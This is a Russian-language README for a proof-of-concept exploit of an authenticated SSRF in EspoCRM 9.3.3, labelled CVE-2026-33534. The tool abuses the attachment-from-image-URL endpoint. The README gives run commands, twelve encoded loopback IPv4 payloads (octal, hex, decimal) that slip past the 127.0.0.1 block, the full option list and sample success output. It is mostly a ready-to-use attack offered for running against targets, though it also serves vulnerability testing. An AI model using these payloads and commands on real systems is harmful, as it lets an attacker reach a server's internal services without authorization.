
EspoCRM 9.3.3 — Аутентифицированный SSRF через альтернативную нотацию IPv4
PoC-эксплойт для аутентифицированного SSRF в EspoCRM 9.3.3 через альтернативную запись IPv4 loopback-адреса в конечной точке /api/v1/Attachment/fromImageUrl.
EspoCRM 9.3.3 блокирует прямые loopback-URL, такие как http://127.0.0.1/..., но серверный путь загрузки принимает альтернативные представления IPv4, которые cURL нормализует до loopback-адреса. Это позволяет аутентифицированному пользователю с доступом к соответствующему потоку загрузки вложений/изображений заставить сервер EspoCRM получать внутренние ресурсы.
Эксплойт сначала отправляет прямой контрольный запрос 127.0.0.1 и ожидает его блокировки с HTTP 403. Затем он проверяет несколько закодированных loopback-полезных нагрузок и сообщает, какие из них создали сохранённое вложение.
requestsУстановка зависимости:
python3 -m pip install requests
Базовая локальная проверка экземпляра EspoCRM, работающего на порту 8083:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Проверка внутреннего сервиса на пользовательском порту и пути:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Использование только пользовательских полезных нагрузок:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
Эксплойт по умолчанию проверяет следующие представления loopback-хоста:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
Поддерживаются пользовательские файлы полезных нагрузок. Каждая строка может быть либо:
host
label=host
Пример:
hex-dword=0x7f000001
decimal-dword=2130706433
Запуск с:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url Базовый URL EspoCRM
-U, --username Имя пользователя EspoCRM
-P, --password Пароль EspoCRM
--internal-port Внутренний loopback-порт для получения
--internal-path Внутренний путь для получения
--payload Дополнительная запись loopback-хоста
--payload-file Файл с одной полезной нагрузкой хоста в строке
--no-default-payloads Использовать только пользовательские полезные нагрузки
--field Поле вложения, по умолчанию: avatar
--parent-type Тип родительской сущности, по умолчанию: User
--parent-id Необязательный идентификатор родительской сущности
--cleanup Удалить вложения, созданные успешными полезными нагрузками
--stop-on-first Остановиться после первого успешного обхода
--insecure Отключить проверку TLS-сертификата
Успешная эксплуатация показывает, что прямой loopback-контроль заблокирован, а одна или несколько закодированных полезных нагрузок приняты:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg с собственного loopback-прослушивателя цели. Настройте --internal-port и --internal-path для другого внутреннего сервиса.User.avatar; используйте --field, --parent-type и --parent-id, если тестируемая учётная запись требует другой контекст загрузки.--cleanup во время тестирования для автоматического удаления созданных вложений.